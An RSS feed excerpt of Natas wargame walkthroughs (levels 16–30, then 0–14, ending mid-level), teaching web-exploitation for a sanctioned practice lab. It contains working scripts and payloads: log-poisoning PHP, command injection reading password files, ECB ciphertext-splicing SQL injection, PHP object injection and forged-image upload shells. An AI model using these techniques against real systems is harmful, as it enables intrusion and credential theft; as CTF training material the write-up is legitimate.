&quot;&lt;natas20_password&gt;&quot;<br><br>url = f&quot;http://{username}.natas.labs.overthewire.org/?debug=true&quot;<br><br>session = requests.Session()<br># initial GET<br>resp = session.get(url, auth=(username, password), timeout=10)<br>print(resp.text)<br>print(&quot;=&quot; * 80)<br><br># POST payload (subscribe + admin toggle)<br>resp = session.post(url, data={&quot;name&quot;: &quot;plzsub\nadmin 1&quot;}, auth=(username, password), timeout=10)<br>print(resp.text)<br>print(&quot;=&quot; * 80)<br><br># final GET to observe changes<br>resp = session.get(url, auth=(username, password), timeout=10)<br>print(resp.text)<br>print(&quot;=&quot; * 80)</pre><p>The password for the next level will be found in the content of the page.</p><h4>Natas Level 21 → Level 22</h4><p><strong>Key Takeaways:</strong> This level is quite similar to the previous one. Just change the URL just a bit.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas21 and the password from Level 20.</li><li>Sample script (Credits: Dr4ks):</li></ol><p><a href="https://github.com/Dr4ks/Natas_Labs_Solution">GitHub - Dr4ks/Natas_Labs_Solution: Hello, this is repository which has solutions for Natas Labs.</a></p><pre>import requests<br><br>target = &#39;http://natas21.natas.labs.overthewire.org&#39;<br>auth = (&#39;natas21&#39;, &#39;&lt;natas21_password&gt;&#39;)<br>exp_tar=&#39;http://natas21-experimenter.natas.labs.overthewire.org/?debug=true&amp;submit=1&amp;admin=1&#39;<br><br>#First POST request to get session of admin from exp_tar<br>session=requests.Session()<br>response = session.post(exp_tar, auth=auth)<br>admin_session = session.cookies[&#39;PHPSESSID&#39;]<br>print(response.text)<br><br>#Second request to be admin<br>response = requests.get(target, auth=auth,cookies={&quot;PHPSESSID&quot;:admin_session})<br>print(response.text)</pre><p>The password for the next level will be found in the content of the page.</p><h4>Natas Level 22 → Level 23</h4><p><strong>Key Takeaways:</strong> The source shows the revelio parameter triggers a redirect. For this, we need to disable automatic redirects for that GET request by using allow_redirects=False.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas22 and the password from Level 21.</li><li>Sample script (Credit: Dr4ks):</li></ol><p><a href="https://github.com/Dr4ks/Natas_Labs_Solution">GitHub - Dr4ks/Natas_Labs_Solution: Hello, this is repository which has solutions for Natas Labs.</a></p><pre>import requests<br><br>target = &#39;http://natas22.natas.labs.overthewire.org/?revelio=1&#39;<br>auth = (&#39;natas22&#39;, &#39;&lt;natas22_password&gt;&#39;)<br><br>session=requests.Session()<br><br>response = session.get(target, auth=auth,allow_redirects=False)<br>print(response.text)</pre><p>The password for the next level will be found in the content of the page.</p><h4>Natas Level 23 → Level 24</h4><p><strong>Key Takeaways:</strong> The source shows that PHP will coerce the string to a number for the &gt; 10 test. If the string starts with digits, the numeric value is those leading digits. So you can make both conditions true by prefixing digits &gt; 10 before the substring iloveyou.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas23 and the password from Level 22.</li><li>Simply enter any string beginning with a number and having the substring ‘iloveyou’, say 123iloveyou in the password field.</li><li>You’ll get the password for the next level.</li></ol><h3>Natas Level 24 → Level 25</h3><p><strong>Key Takeaways:</strong> The source shows that PHP will compare the entered password string with the actual password using the strcmp (string compare) function. This can be exploited by</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas24 and the password from Level 23.</li><li>Approach: passwd[]=abc</li></ol><ul><li>passwd[]=abc sends passwd as an array (with one element abc) instead of a string.</li><li>If the ‘$_REQUEST[“passwd”]’ is equal to an empty array, ‘strcmp’ returns a NULL. Due to some inherent weakneses in PHP comparisons, NULL == 0 always returns a true.</li></ul><p>3. Pass the ‘passwd’ parameter in the URL as an array (passwd[]) and equate it to any string.</p><p>4. PHP will give a warning but the password for the next level will be revealed.</p><h4>Natas Level 25 → Level 26</h4><p><strong>Key Takeaways:</strong> The source shows that the ‘lang’ parameter is vulnerable here, since it generates the content. It can be seen that we need to inject PHP into the User-Agent header so it is written to the site’s log files, then use the app’s file-include/LFI behavior to include the log file from /var/www/natas/natas25/logs/ and execute that PHP to read /etc/natas_webpass/natas26.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas25 and the password from Level 24.</li><li>Sample script (Credit: Dr4ks): <a href="https://github.com/Dr4ks/Natas_Labs_Solution">https://github.com/Dr4ks/Natas_Labs_Solution</a></li></ol><pre>import requests<br><br>target = &#39;http://natas25.natas.labs.overthewire.org/?revelio=1&#39;<br>auth = (&#39;natas25&#39;, &#39;&lt;natas25_password&gt;&#39;)<br><br>session=requests.Session()<br>malhead={&quot;User-Agent&quot;:&#39;&lt;?php echo file_get_contents(&quot;/etc/natas_webpass/natas26&quot;); ?&gt;&#39;}<br><br>response = session.get(target, auth=auth)<br>response=session.post(url=target,headers=malhead,auth=auth,data={&quot;lang&quot; : &quot;..././..././..././..././..././var/www/natas/natas25/logs/natas25_&quot; +  session.cookies[&#39;PHPSESSID&#39;] + &quot;.log&quot;})<br>print(response.text)</pre><p>The password for the next level will be revealed in the content.</p><h4>Natas Level 26 → Level 27</h4><p><strong>Key Takeaways:</strong> This level provides a drawing board feature where user inputs (x1,y1,x2,y2) are serialized into a PHP object and stored inside a cookie named drawing. The server later unserializes this cookie → classic PHP object injection vulnerability. By controlling what gets unserialized, you can trigger arbitrary code execution.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas26 and the password from Level 25.</li><li>Sample script (Credits: John Hammond):</li></ol><p><a href="https://github.com/JohnHammond/overthewire_natas_solutions/blob/master/natas26.py">overthewire_natas_solutions/natas26.py at master · JohnHammond/overthewire_natas_solutions</a></p><pre>#!/usr/bin/env python<br># -*- coding: utf-8 -*-<br><br>import requests<br>import re<br>import urllib<br>import base64<br><br>username = &#39;natas26&#39;<br>password = &#39;&lt;natas26_password&gt;&#39;<br><br>url = &#39;http://%s.natas.labs.overthewire.org/&#39; % username<br><br>session = requests.Session()<br>response = session.get(url, auth = (username, password))<br><br>session.cookies[&#39;drawing&#39;] = &#39;YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjI6IjEwIjtzOjI6InkxIjtzOjI6IjEwIjtzOjI6IngyIjtzOjI6IjE1IjtzOjI6InkyIjtzOjI6IjE1Ijt9fQ%3D%3D&#39;<br>response = session.get(url+ &#39;?x1=0&amp;y1=0&amp;x2=500&amp;y2=500&#39;, auth = (username, password))<br><br>response = session.get(url + &#39;img/winner.php&#39;, auth = (username, password))<br>print (response.text)</pre><p>The password for the next level will be revealed.</p><h4>Natas Level 27 → Level 28</h4><p><strong>Key Takeaways:</strong> In this level, the code will check if the user exists in the database and if you have the right password, it will display the password. If the user does not exists, it will be created in the database. If you try to login with the user natas28 you’ll see the following error: Wrong password for user: natas28. It means that the user exists. So, we need to find a way to obtains the password.</p><p>If you create a user like user and a random password and create another user named user with enough space after the username to exceed the size of the SQL field and a random trailing characters and an empty password it will still get created. That due to the fact that MySQL will truncate the input to match the maximum field size. Then if you try to login with the user username and an empty password you’ll get the password!</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas27 and the password from Level 26.</li><li>Create a user named natas28 x (&quot;natas28&quot; with multiple whitespaces and a marker at the end) with any password (As shown in the following image).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYIWgdoiDDEiKfNImnKikQ.png" /><figcaption>natas28 + “ “*57 + “x”</figcaption></figure><p>3. Login with the username natas28 and pasword that was set for natas28 x.</p><p>4. This will be accepted and the password for the next level will be revealed.</p><h4>Natas Level 28 → Level 29</h4><p><strong>Key Takeaways:</strong></p><ul><li>Observe the query= value is base64 of AES-encrypted blocks (ECB) — find the block size = 16 by sending increasing-length inputs.</li><li>Identify the known-good header (blocks 1–2), known-good trailer (last blocks), a dummy block (from a 10-space query), and the known-bad block produced when ‘ is sent (it contains the escape /).</li><li>Build a malicious plaintext like AAAAAAAAA&#39; OR 1=1 -- so the server inserts a / before the &#39;, pushing the &#39; into the next block (making that the “bad” block).</li><li>Replace that bad block in the base64 ciphertext with the dummy block (so the escaped / is removed) while keeping the header, your encrypted SQL-injection payload, and the trailer intact.</li><li>URL-encode the concatenated base64 string, submit it to search.php?query=…, and the DB will execute the injected query — revealing the natas29 password.</li></ul><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas28 and the password from Level 27.</li><li>Sample script:</li></ol><pre>#!/usr/bin/env python3<br># -*- coding: utf-8 -*-<br><br>import requests<br>import re<br>import base64<br>import math<br>from urllib.parse import urlparse, parse_qs, quote<br><br>username = &#39;natas28&#39;<br>password = &#39;&lt;natas28_password&gt;&#39;<br><br>base_url = f&#39;http://{username}.natas.labs.overthewire.org/&#39;<br><br>session = requests.Session()<br>session.auth = (username, password)<br><br>block_size = 16<br><br># payload that pushes the escaped quote into the next block on the server<br>injection = &#39;a&#39; * 9 + &quot;&#39; UNION SELECT password FROM users; #&quot;<br>print(&quot;=== Step 1: Parameters ===&quot;)<br>print(&quot;Username:&quot;, username)<br>print(&quot;Target URL:&quot;, base_url)<br>print(&quot;Block size (assumed):&quot;, block_size)<br>print(&quot;Injection (plaintext):&quot;, injection)<br>print()<br><br># how many blocks the injected payload occupies (server prepends 10 chars)<br>payload_len = max(0, len(injection) - 10)<br>blocks = math.ceil(payload_len / block_size)<br>print(&quot;=== Step 2: Payload length &amp; blocks ===&quot;)<br>print(&quot;Payload length (len(injection) - 10):&quot;, payload_len)<br>print(&quot;Blocks needed for payload:&quot;, blocks)<br>print()<br><br># send the injection to get its ciphertext as returned in the redirect URL<br>print(&quot;=== Step 3: POST injection to obtain ciphertext for injection ===&quot;)<br>r = session.post(base_url, data={&quot;query&quot;: injection})<br>qs = parse_qs(urlparse(r.url).query)<br>raw_inject_b64 = qs.get(&#39;query&#39;, [None])[0]<br>print(&quot;Returned redirect URL:&quot;, r.url)<br>print(&quot;Returned query param (base64 of ciphertext):&quot;, raw_inject_b64)<br>raw_inject = base64.b64decode(raw_inject_b64)<br>print(&quot;Decoded injection ciphertext length (bytes):&quot;, len(raw_inject))<br>print(&quot;Decoded injection ciphertext (hex, first 64 bytes):&quot;, raw_inject.hex()[:256])<br>print()<br><br># send a &quot;good&quot; query (10 a&#39;s) to obtain a dummy/good base we can reuse<br>print(&quot;=== Step 4: POST &#39;a&#39;*10 to obtain good ciphertext blocks ===&quot;)<br>r2 = session.post(base_url, data={&quot;query&quot;: &#39;a&#39; * 10})<br>qs2 = parse_qs(urlparse(r2.url).query)<br>good_b64 = qs2.get(&#39;query&#39;, [None])[0]<br>print(&quot;Returned redirect URL:&quot;, r2.url)<br>print(&quot;Returned good query param (base64):&quot;, good_b64)<br>good_base = base64.b64decode(good_b64)<br>print(&quot;Decoded good_base length (bytes):&quot;, len(good_base))<br>print(&quot;Decoded good_base (hex, first 64 bytes):&quot;, good_base.hex()[:256])<br>print()<br><br># header = first 3 blocks (keeps server&#39;s header/escaping), trailer = rest after block 3<br>header = good_base[:block_size * 3]<br>trailer = good_base[block_size * 3:]<br><br># take the middle ciphertext from the injection (the blocks we want to insert)<br>middle = raw_inject[block_size * 3:block_size * 3 + (blocks * block_size)]<br>print(&quot;=== Step 5: Constructing crafted ciphertext ===&quot;)<br>print(&quot;Header (3 blocks) length:&quot;, len(header))<br>print(&quot;Middle (injected) length (blocks * block_size):&quot;, len(middle))<br>print(&quot;Trailer length:&quot;, len(trailer))<br>print(&quot;Header (base64):&quot;, base64.b64encode(header).decode())<br>print(&quot;Middle (base64):&quot;, base64.b64encode(middle).decode())<br>print(&quot;Trailer (base64):&quot;, base64.b64encode(trailer).decode())<br>print()<br><br>crafted = header + middle + trailer<br>crafted_b64 = base64.b64encode(crafted).decode()<br>crafted_quoted = quote(crafted_b64, safe=&#39;&#39;).replace(&#39;/&#39;, &#39;%2F&#39;)<br>print(&quot;Crafted final ciphertext (base64):&quot;, crafted_b64)<br>print(&quot;Crafted final ciphertext (URL-encoded):&quot;, crafted_quoted)<br>print()<br><br># submit the crafted query and show server output<br>print(&quot;=== Step 6: Submitting crafted query and reading response ===&quot;)<br>resp = session.get(base_url + &#39;search.php/?query=&#39; + crafted_quoted)<br># print whole response length and first 400 chars to avoid huge dumps<br>print(&quot;Response HTTP status:&quot;, resp.status_code)<br>print(&quot;Response length (chars):&quot;, len(resp.text))<br>print(&quot;Response (first 400 chars):\n&quot;, resp.text[:400])<br>print()<br><br>m = re.findall(r&#39;&lt;li&gt;(.*)&lt;/li&gt;&#39;, resp.text)<br>if m:<br>    print(&quot;=== Extracted &lt;li&gt; content ===&quot;)<br>    for i, item in enumerate(m, start=1):<br>        print(f&quot;{i}. {item}&quot;)<br><br>else:<br>    print(&quot;No &lt;li&gt; entries found in response. Full response saved to &#39;natas28_response.html&#39;&quot;)<br>    with open(&#39;natas28_response.html&#39;, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f:<br>        f.write(resp.text)<br>    print(&quot;Saved response to natas28_response.html for inspection.&quot;</pre><p>This will get you the password for the next level.</p><h4>Natas Level 29 → Level 30</h4><p><strong>Key Takeaways:</strong></p><ul><li>index.pl?file= forwards your file string into a Perl context that accepts pipes — you can inject shell commands by prefixing |.</li><li>The application filters the token natas, so cat /etc/natas_webpass/natas30 is blocked.</li><li>Bypass the filter by breaking the literal natas string with inserted URL-encoded quotes (e.g. na&quot;t&quot;as → na%22t%22as), or try URL-encoded terminators (%0a or %00) to terminate the filename input.</li><li>Send the crafted GET to index.pl?file=… (HTTP Basic auth for natas29) and the server will execute your command and include its output.</li><li>Extract the password from the response body (it typically appears plainly).</li></ul><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas29 and the password from Level 28.</li><li>Payload that works: |cat /etc/na%22t%22as_webpass/na%22ta%22s30%0A</li><li>URL becomes:</li></ol><pre>http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/na%22t%22as_webpass/na%22ta%22s30%0a</pre><p>This will get you the password for the next level.</p><h4>Natas Level 30 → Level 31</h4><p><strong>Key Takeaways:</strong></p><ul><li>The app builds SQL with $dbh-&gt;quote(param(&#39;...&#39;)) which looks safe — but param() can return an array when a form field is submitted multiple times.</li><li>quote() accepts a second argument that controls quoting behavior; if that second value is an integer the DBD driver may skip normal string quoting.</li><li>Send the password field twice so param(&#39;password&#39;) becomes [&quot;&lt;payload&gt;&quot;, 4] (or other integer); the 4 gets passed to quote() and causes the quoting to be bypassed.</li><li>Make the first password value an SQL expression that makes authentication succeed, e.g. &quot;&#39;lol&#39; or 1=1&quot;, and set username=natas31 to retrieve natas31&#39;s password.</li><li>POST the form with HTTP Basic auth (natas30 creds), parse the response — the page will include the natas31 password when the injection succeeds.</li></ul><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas30 and the password from Level 29.</li><li>Sample script (Credits: <a href="https://the-dark-lord.medium.com/">https://the-dark-lord.medium.com</a>):</li></ol><p><a href="https://the-dark-lord.medium.com/natas-wargames-16-30-fbde4edd41d4">Natas Wargames writeup(16–30)</a></p><pre>import requests<br>from requests.auth import HTTPBasicAuth<br><br>#identified sample=^$(grep -o ^Wa natas16)I<br>user=&#39;natas30&#39;<br>passw=&#39;&lt;natas30_password&gt;&#39;<br><br>#clumsy but manageable<br>payload= {&#39;username&#39;: &#39;natas31&#39;, &#39;password&#39;: [&quot;&#39;lol&#39; or 1=1&quot;,4]}<br>answer=requests.post(&#39;http://natas30.natas.labs.overthewire.org/index.pl&#39;, data=payload,auth=HTTPBasicAuth(user,passw))<br>str1 = answer.text<br>print(answer.text)</pre><p>The password for the next level can be found in the content.</p><p>The next few levels will be covered in another article. Thanks for sticking around!</p><p>For more such informational blogs about concepts, techniques and news related to cyber security, follow us :</p><p>💬 LinkedIn: <a href="https://www.linkedin.com/company/rootissh">https://www.linkedin.com/company/rootissh</a></p><p>🤳🏽 Instagram: <a href="https://www.instagram.com/rootissh.in/">https://www.instagram.com/rootissh.in/</a></p><p>🐤 X (formerly Twitter): <a href="https://twitter.com/rootissh">https://twitter.com/rootissh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=447011e3b9db" width="1" height="1" alt=""><hr><p><a href="https://rootissh.in/overthewire-wargames-natas-level-16-30-walkthrough-447011e3b9db">OverTheWire: Wargames — Natas (Level 16–30) Walkthrough</a> was originally published in <a href="https://rootissh.in/">rootissh</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OverTheWire: Wargames — Natas (Level 1–15) Walkthrough]]></title>
            <link>https://rootissh.in/overthewire-wargames-natas-level-1-15-walkthrough-7a737a0c74da?source=rss-cfc1a7e2a9c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a737a0c74da</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[overthewire-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Arnav Vaidya]]></dc:creator>
            <pubDate>Sun, 05 Oct 2025 12:33:06 GMT</pubDate>
            <atom:updated>2025-10-05T16:14:43.246Z</atom:updated>
            <content:encoded><![CDATA[<h3>OverTheWire: Wargames — Natas (Level 1–15) Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_D80pZpTAfyJWdNYRX_iQ.png" /></figure><p>The OverTheWire Natas challenges are a web security series that teach you how to identify and exploit common vulnerabilities in web applications. Each level presents a unique problem that requires understanding of HTML, HTTP, cookies, and server-side logic. Progressing through the levels, you’ll encounter increasingly complex issues like authentication bypass, SQL injection, command injection and much more!</p><p>This is going to be a multi-part series since the a few challenges demand their own individual walkthroughs. In this article, we’ll be diving into levels 1–15.</p><p>Check out my GitHub repository for the solutions and python files here:</p><p><a href="https://github.com/arnavaidya/OverTheWire-Wargames-Walkthrough/tree/main/Natas">OverTheWire-Wargames-Walkthrough/Natas at main · arnavaidya/OverTheWire-Wargames-Walkthrough</a></p><h4>Natas Level 0 → Level 1</h4><p><strong>Key Takeaways:</strong> Checking the page source for extra information. The password is often embedded in the HTML code.</p><p><strong>Procedure: </strong>Check page source using right-click or Ctrl + U for the password of the next level.</p><h4>Natas Level 1 → Level 2</h4><p><strong>Key Takeaways:</strong> Checking the page source for extra information. The password is often embedded in the HTML code.</p><p><strong>Procedure:</strong> Check page source using Ctrl + U (since right-click is disabled) for the password of the next level.</p><h4>Natas Level 2 → Level 3</h4><p><strong>Key Takeaways:</strong> Sometimes the password is not directly in the page source but hidden in files linked from the page, such as images or directories. It’s important to check all linked resources.</p><p><strong>Procedure: <br></strong>Open the page source using right-click → <em>View Page Source</em> or press Ctrl + U. Look for any linked files (for example, an image file or a directory path). In this level, you’ll find a link to an image inside a /files/ directory. Open this image’s URL directly or explore the /files/ directory if allowed. <br>Then, open the image in a text editor or use tools that can reveal hidden text (sometimes included in image comments or metadata). <br>The password for the next level is hidden there.</p><h4>Natas Level 3 → Level 4</h4><p><strong>Key Takeaways:</strong> Websites often use a robots.txt file to tell search engines which directories not to index. This file can accidentally reveal hidden or sensitive directories worth exploring.</p><p><strong>Procedure:</strong><br>Try accessing robots.txt by appending /robots.txt to the URL. This file lists directories that the site owner wants to hide from search engines. Locate the disallowed directory path mentioned in robots.txt (/s3cr3t/), navigate to that directory in your browser, and look for files like users.txt. Open the file to find the password for the next level.</p><h4>Natas Level 4 → Level 5</h4><p><strong>Key Takeaways:</strong> Websites can use the HTTP Referer header to check where a request originated. This level demonstrates how relying on the Referer for security is weak, as it can be easily manipulated.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas4 and the password obtained from Level 3.</li><li>The page will display a message like: “You are visiting from “<a href="http://natas4.natas.labs.overthewire.org/">http://natas4.natas.labs.overthewire.org/</a>&quot; while authorized users should come only from “<a href="http://natas5.natas.labs.overthewire.org/">http://natas5.natas.labs.overthewire.org/</a>&quot;&quot;</li><li>To bypass this check, modify the Referer header in your request. You can do this using tools like curl or Burp Suite.</li><li>Example with curl:</li></ol><pre>curl -u natas4:&lt;password&gt; --referer &quot;http://natas5.natas.labs.overthewire.org/&quot; http://natas4.natas.labs.overthewire.org/</pre><p>The password will be displayed within the HTML code.</p><p>If you’re using Burp Suite, simply change the Referer from <a href="http://natas4.natas.labs.overthewire.org/">http://natas4.natas.labs.overthewire.org</a> to <a href="http://natas5.natas.labs.overthewire.org/">http://natas5.natas.labs.overthewire.org/</a> manually, to get the password on the page.</p><h4>Natas Level 5 → Level 6</h4><p><strong>Key Takeaways:</strong> This level introduces the concept of cookies for user identification. It shows how cookies can be manipulated to change user roles or bypass restrictions.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas5 and the password obtained from Level 4.</li><li>The page will display: “Access disallowed. You are not logged in”. This indicates that we need to somehow login to the website.</li><li>This can be done by manipulating the cookies using the browser Developer Tools.</li></ol><ul><li>Open the browser’s DevTools (F12 or Ctrl + Shift + I).</li><li>Go to the <em>Application</em> (or <em>Storage</em>) tab.</li><li>Find and edit the cookie for loggedin to 1.</li></ul><p>Reload the page, and the server will grant access and display the password for natas6.</p><h4>Natas Level 6 → Level 7</h4><p><strong>Key Takeaways:</strong> This level demonstrates the danger of insecure file inclusion through user-controlled input. It highlights how including files based on unsanitized parameters can be exploited.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas6 and the password obtained from Level 5.</li><li>The page will show a form asking for an input like a secret code.</li><li>View source code using the link provided.</li><li>In the source code, look for hints. You’ll find: include(&quot;includes/secret.inc&quot;); .<br>This file likely contains the secret needed for the form.</li><li>Try accessing this file directly by navigating to: http://natas6.natas.labs.overthewire.org/includes/secret.inc. The file will display something like: $secret = &quot;some_secret_value&quot;; Copy the secret value.</li><li>Enter this value in the form on the main page and submit it. The page will display the password for natas7.</li></ol><h4>Natas Level 7 → Level 8</h4><p><strong>Key Takeaways:</strong> This level teaches about directory traversal (path traversal) attacks, where attackers manipulate file paths to access files outside the intended directory.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas7 and the password obtained from Level 6.</li><li>The page will display links like: ?page=home, ?page=about</li><li>View the page source: Right-click → <em>View Page Source</em>, or Press Ctrl + U. A hint says that the password is in /etc/natas_webpass/natas8.</li><li>Try a directory traversal payload to access files outside the intended directory: “http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8&quot; The password will appear on the page.</li></ol><h4>Natas Level 8 → Level 9</h4><p><strong>Key Takeaways:</strong> This level demonstrates insecure cryptographic operations — specifically weak encoding/decoding practices where an algorithm is easily reversible if you know its behavior.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas8 and the password obtained from Level 7.</li><li>The page asks you to enter a secret.</li><li>View source code using the link provided.</li><li>In the PHP source, we can see the encoded secret along with the function that encodes the secret: bin2hex(strrev(base64_encode($secret)));</li><li>We simply need to reverse the encoding process to obtain the secret:</li></ol><pre>&lt;?php     <br>    $encodedSecret = &quot;someFixedString&quot;;     <br>    print base64_decode(strrev(hex2bin($encodedSecret)));     <br>?&gt;</pre><p>This PHP code will give the secret. The secret when entered into the field will give the password to the next level.</p><h4>Natas Level 9 → Level 10</h4><p><strong>Key Takeaways:</strong> This level introduces command injection, where user input is passed directly to a system command without proper sanitization, allowing arbitrary command execution.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas9 and the password obtained from Level 8.</li><li>The page has a form where you can enter a search term (for example, to search in a file).</li><li>View source code using the link provided.</li><li>In the PHP code, you’ll see that user input is passed into a system command like: passthru(&quot;grep -i $key dictionary.txt&quot;);</li><li>Since input is not properly escaped, you can inject a command:</li></ol><pre>a; cat /etc/natas_webpass/natas10 </pre><p>or</p><pre>grep -i; cat /etc/natas_webpass/natas10 dictionary.txt</pre><p>Submit this payload in the search form.</p><p>The server will execute both the grep and cat commands, displaying the password for natas10.</p><h4>Natas Level 10 → Level 11</h4><p><strong>Key Takeaways:</strong> This level builds on command injection, but the input is filtered. It demonstrates that weak input filtering can still be bypassed if not done properly.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas10 and the password obtained from Level 9.</li><li>The page again offers a search form similar to the previous level.</li><li>View source code using the link provided.</li><li>The PHP code shows a blacklist filter:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*RYHrV5mjV_lC80Ll3Klieg.png" /></figure><ul><li>The filter blocks ;, &amp;, and |, but you can use alternative ways to inject commands, such as:</li></ul><pre>a /etc/natas_webpass/natas11</pre><ul><li>The server will execute both the grep and cat commands, displaying the password for natas11.</li></ul><h4>Natas Level 11 → Level 12</h4><p><strong>Key Takeaways:</strong> This level demonstrates weak encryption with an XOR cipher applied to cookie data. If we can reverse-engineer the key, we can modify the cookie to escalate privileges.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas11 and the password obtained from Level 10.</li></ol><p>2. Capture the data cookie value provided by the server. Example: &quot;HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyJvTRg%3D&quot;.</p><p>3. Furthermore, by taking a look in the source code, an XOR-base encryption function can be found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*WFzcn7MmsHrltBMcq-svTg.png" /></figure><p>4. To get our key the simplest way is to define a new function and use it in the local script as follows:</p><pre>&lt;?php                  <br>      function xor_encrypt_2($in) {                  <br>      $key = base64_decode(&quot;HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyJvTRg%3D&quot;);                  <br>      $text = $in;                  <br>      $outText = &#39;&#39;;            <br>       <br>      // Iterate through each character                  <br>      for($i=0;$i&lt;strlen($text);$i++) {           <br>  $outText .= $text[$i] ^ $key[$i % strlen($key)];                  <br>      }                  <br>      return $outText;                      <br>          }                       <br><br>          $mydata = array( &quot;showpassword&quot;=&gt;&quot;no&quot;, &quot;bgcolor&quot;=&gt;&quot;#ffffff&quot; );                      <br>          $mydata_json = json_encode($mydata);                      <br>          $mydata_enc = xor_encrypt_2($mydata_json);                      <br>          echo $mydata_enc;          <br>?&gt;</pre><p>The result should be: “eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeD oe&quot;.</p><p>5. It seems to be a repetition of the string eDWo, meaning it must be the key. Hence, we should replace the key in our script with it and execute it again. Note, that we must change the payload this time (Change &quot;showpassword&quot;=&gt;&quot;no&quot; to &quot;showpassword&quot;=&gt;&quot;yes&quot;) and encode the result with base64.</p><pre>&lt;?php                  <br>    function xor_encrypt_2($in) {                  <br>    $key = &quot;eDWo&quot;;                  <br>    $text = $in;                  <br>    $outText = &#39;&#39;; <br>                  <br>  // Iterate through each character                  <br>    for($i=0;$i&lt;strlen($text);$i++) {           <br>  $outText .= $text[$i] ^ $key[$i % strlen($key)];                  <br>      }                  <br>      return $outText;                      <br>          }                       <br>          $mydata = array( &quot;showpassword&quot;=&gt;&quot;yes&quot;, &quot;bgcolor&quot;=&gt;&quot;#ffffff&quot; );<br>          $mydata_json = json_encode($mydata);                      <br>          $mydata_enc = xor_encrypt_2($mydata_json);                      <br>          $mydata_b64 = base64_encode($mydata_enc);                      <br>          echo $mydata_b64;          <br>?&gt;</pre><p>This should return the new cookie data: HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5.</p><p>6. Replace the old cookie with the new one and the password will be displayed.</p><h4>Natas Level 12 → Level 13</h4><p><strong>Key Takeaways:</strong> This level demonstrates insecure file upload handling. The server allows users to upload files without proper validation, leading to the risk of uploading malicious code (e.g., PHP shells).</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas12 and the password obtained from Level 11.</li></ol><p>2. The page offers a file upload form where you can upload an image.</p><p>3. View source code using the link provided.</p><p>4. From the source, you’ll notice that the server checks the file extension, but not the file contents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d07B01naJQ0dUQWTRHAGcg.png" /></figure><p>5. Another thing to notice is that the .jpg extension is being added in the HTML form, making it editable in the DevTools. We can exploit this by creating a PHP script like:</p><pre>&lt;?php   <br>   require &quot;/etc/natas_webpass/natas13&quot;;  <br>?&gt;</pre><p>6. Open Inspect option with Ctrl + Shift + C and change the script in the HTML form element from .jpg to .php (&lt;a href=&quot;upload/rand_str.jpg&quot;&gt;upload/rand_str.jpg&lt;/a&gt; to &lt;a href=&quot;upload/rand_str.jpg&quot;&gt;upload/rand_str.php&lt;/a&gt;). Upload the script to the server now.</p><p>7. The script will be uploaded and the result will be generated as a .php file in /upload/rand_str.php. Open the file to find the password to the next level.</p><h4>Natas Level 13 → Level 14</h4><p><strong>Key Takeaways: </strong>This level enhances file upload security by checking the file’s actual signature using exif_imagetype(). This function inspects the first bytes of a file to verify it&#39;s a valid image. The challenge is to craft a file that passes this check but still contains executable PHP code.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas13 and the password obtained from Level 12.</li><li>The upload form checks the file’s signature using: exif_imagetype(); function. According to the documentation, the function reads the first bytes of an image and checks its signature.</li><li>Forge a JPEG file by starting with a valid JPEG header (\xFF\xD8\xFF\xE0):</li></ol><pre>echo &quot;\xFF\xD8\xFF\xE0&lt;?php require &#39;/etc/natas_webpass/natas14&#39;;&quot; &gt; script.php</pre><p>4. Confirm it identifies as a JPEG:</p><pre>file script.php</pre><p>5. Upload this file using the form. Change the script in the HTML form element from .jpg to .php like the previous level. The file will pass the exif_imagetype() check due to its valid header.</p><p>6. Access the uploaded file via the provided link. The PHP code at the end will execute and reveal the password for natas14.</p><h4>Natas Level 14 → Level 15</h4><p><strong>Key Takeaways:</strong> This level introduces basic SQL injection in login forms. It highlights the risk of including unsanitized user input directly in SQL queries, which can allow attackers to bypass authentication.</p><p><strong>Procedure:</strong></p><ol><li>Log in using the username natas14 and the password obtained from Level 13.</li><li>The page presents a login form asking for a username and password.</li><li>View source code using the link provided.</li><li>The source reveals the 